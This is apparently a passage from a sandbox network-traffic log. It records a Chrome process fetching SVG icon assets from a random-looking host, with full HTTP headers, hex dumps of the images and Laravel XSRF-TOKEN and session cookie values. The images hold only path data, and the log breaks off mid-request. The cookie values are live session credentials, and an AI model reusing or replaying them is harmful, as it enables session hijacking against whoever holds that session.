2024-04-24 06:22:04 UTC	720	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-04-24 06:22:04 UTC	1369	IN	Data Raw: 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e Data Ascii: 2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.
2024-04-24 06:22:04 UTC	1369	IN	Data Raw: 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e 33 38 32 37 20 31 31 2e 36 39 35 32 20 31 36 2e 32 32 30 35 20 31 32 Data Ascii: 6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.3827 11.6952 16.2205 12
2024-04-24 06:22:04 UTC	1369	IN	Data Raw: 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 31 39 2e 36 30 30 39 20 34 34 Data Ascii: 4.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21.7129 41.505L19.6009 44
2024-04-24 06:22:04 UTC	1369	IN	Data Raw: 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 31 2e 30 35 31 39 4c 34 37 2e 33 31 32 32 20 32 31 2e 30 38 31 31 43 Data Ascii: 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 21.0519L47.3122 21.0811C
2024-04-24 06:22:04 UTC	1202	IN	Data Raw: 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 36 20 32 36 2e 34 35 31 33 20 31 35 2e 37 30 34 37 20 33 31 2e 33 37 Data Ascii: 489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7006 26.4513 15.7047 31.37
2024-04-24 06:22:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49795	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:03 UTC	1471	OUT	GET /yz5PZPtwocgsIPZRmHcNESROmn19TJ53vuPbrfs9jTab175 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:04 UTC	650	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:04 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="yz5PZPtwocgsIPZRmHcNESROmn19TJ53vuPbrfs9jTab175" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9X8683VJIW1kNjdBssRi7I8uxTkqbnKZx7OEAChS0n3TH97vSSCsyqQWdwpEPPfQ5KM8kq%2BgLAbuFx9qO0KodLhdttquyzPMdIm4XkirX3E%2BfukkETCtCQI%2B1LeG7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff2a2930db9a-LAX
2024-04-24 06:22:04 UTC	719	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-04-24 06:22:04 UTC	1369	IN	Data Raw: 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c 31 2e 35 34 32 2c 31 2e 31 35 2c 31 37 2e 37 32 35 Data Ascii: 22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725
2024-04-24 06:22:04 UTC	824	IN	Data Raw: 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 35 41 31 31 2e 32 39 33 2c 31 31 2e 32 39 33 2c 30 Data Ascii: 2,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.645A11.293,11.293,0
2024-04-24 06:22:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49797	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:03 UTC	1491	OUT	GET /rsfAsqHuLsXFgw6UDvoIUuvHOsf7LZhZuT3HwX7S8quvaFmUD9N38UmiF476dNcd194 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:04 UTC	674	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:04 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsfAsqHuLsXFgw6UDvoIUuvHOsf7LZhZuT3HwX7S8quvaFmUD9N38UmiF476dNcd194" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FVzSox%2Bx7PMXNzs%2FLwaLGX68a55XM051vTFFnxERSt8t5gghbOig4qLZKvqKIERu0oUeNtTSOaFEhAxeLpasjcNlJ3R01m7AyEVWkQOECDcQ%2FBf9LNv%2FlJk3z6fPCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff2a5c327bd9-LAX
2024-04-24 06:22:04 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-04-24 06:22:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49800	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:04 UTC	1113	OUT	GET /eftMAJHTBnysRGQKrxyJ63mOX7yU8KOklytyEGBc4earPa90145 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:05 UTC	658	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:05 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="eftMAJHTBnysRGQKrxyJ63mOX7yU8KOklytyEGBc4earPa90145" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AK%2Bny1N6kdgmLiI%2BM9P0I%2FxOQldJIUKQimiJNcNC2TvBAzR9Jdkz%2Bzj4lOuEFJIzk7Icftvljxq8uBwQbEMoay4toJvj%2FJjGBbhgRoJMRoxfphutNZoEfCXlxDfqJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff2fee4c7d17-LAX
2024-04-24 06:22:05 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-04-24 06:22:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49802	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:04 UTC	1488	OUT	GET /ghNa4wLQP2OPEa9yshBcpr4efS5s5gdiDgklu0B4xFFqbm5P1vQiCliLqsoef210 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; 